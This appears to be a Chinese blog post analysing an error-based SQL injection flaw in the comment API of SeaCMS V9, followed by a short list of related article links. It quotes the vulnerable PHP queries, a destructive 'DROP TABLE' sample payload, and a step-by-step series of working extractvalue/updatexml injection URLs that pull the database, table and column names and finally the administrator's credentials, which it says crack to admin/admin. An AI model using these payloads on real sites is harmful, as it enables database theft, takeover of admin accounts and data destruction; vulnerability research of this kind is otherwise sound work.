SeaCMS V9海洋影视管理系统报错注入

漏洞背景

SQL 注入攻击是当前网络安全中最常见的一种攻击方式,攻击者可以利用该漏洞访问或操作数据库,造成数据泄露或破坏。通常发生在开发人员未能正确处理用户输入时。

在 SeaCMS V9 中,用户输入(如登录、评论、分页、ID 等)未经过适当的验证和清理,直接嵌入到 SQL 查询中,导致了 SQL 注入攻击的发生。

漏洞位置

seacmsv9\comment\api\index.php

注入风险

Readmlist 函数中:

php 复制代码
$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";

直接将 $type$id 的值嵌入到查询中。如果 $type$id 变量没有经过适当的验证或清理,可以通过修改这些参数来执行恶意的 SQL 查询,从而导致 SQL 注入攻击。例如:

1; DROP TABLE sea_comment; --

Readrlist 函数中:

php 复制代码
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";

$ids 变量直接用于 SQL 查询,如果 $ids 是由用户输入的,并且没有经过验证或过滤,可以传递恶意的输入来执行 SQL 注入攻击。

注入:

报错数据库名:

php 复制代码
http://seacmsv9:8015/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`,extractvalue(1,concat_ws(0x7e,0x7e,database())),@`'`

报错表名:

php 复制代码
http://seacmsv9:8015/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0atable_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),%20@`%27`

报错字段名:

php 复制代码
http://seacmsv9:8015/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%201,1))),%20@`%27`
php 复制代码
http://seacmsv9:8015/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%202,1))),%20@`%27`

报错数据:

http://seacmsv9:8015//comment/api/index.php?gid=1\&page=2\&type=1\&rlist\[\]=@\`'`, updatexml

(1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), @`'`

无报错

原因是表sea_comment为空,无返回值

在表sea_comment插入数据,再次注入查看

php 复制代码
http://seacmsv9:8015//comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml
(1,concat_ws(0x20,0x5c,(select password from%23%0asea_admin limit 0,1)),1), @`'`

进行MD5解密就,账号密码都是admin

相关推荐
yuanbenshidiaos3 分钟前
【僵尸进程】
linux·服务器·网络
猫猫的小茶馆27 分钟前
【网络编程】UNIX 域套接字(Unix Domain Sockets, UDS)
linux·网络·网络协议·udp·unix·信息与通信
猴子技术宅1 小时前
wordpress禁止系统自带搜索功能增强被恶意搜索轰炸(google有效)
运维·网络·搜索引擎
yourkin6661 小时前
TCP重传机制
网络
羊小猪~~1 小时前
深度学习基础--ResNet网络的讲解,ResNet50的复现(pytorch)以及用复现的ResNet50做鸟类图像分类
网络·pytorch·深度学习·神经网络·机器学习·分类·resnet
JiaJunRun2 小时前
Java Collections工具类面试题
java·开发语言·windows·学习·安全
昨天今天明天好多天2 小时前
【计算机网络】OSI模型、TCP/IP模型、路由器、集线器、交换机
网络·tcp/ip·计算机网络
m0_715646763 小时前
无名管道、有名管道、信号、信号处理
java·linux·网络·数据结构·算法·嵌入式·标准io
lopowh3 小时前
软考——WWW与HTTP
网络·网络协议·http
双手插兜-装高手3 小时前
网络 - Socket编程
c语言·开发语言·网络·c++·经验分享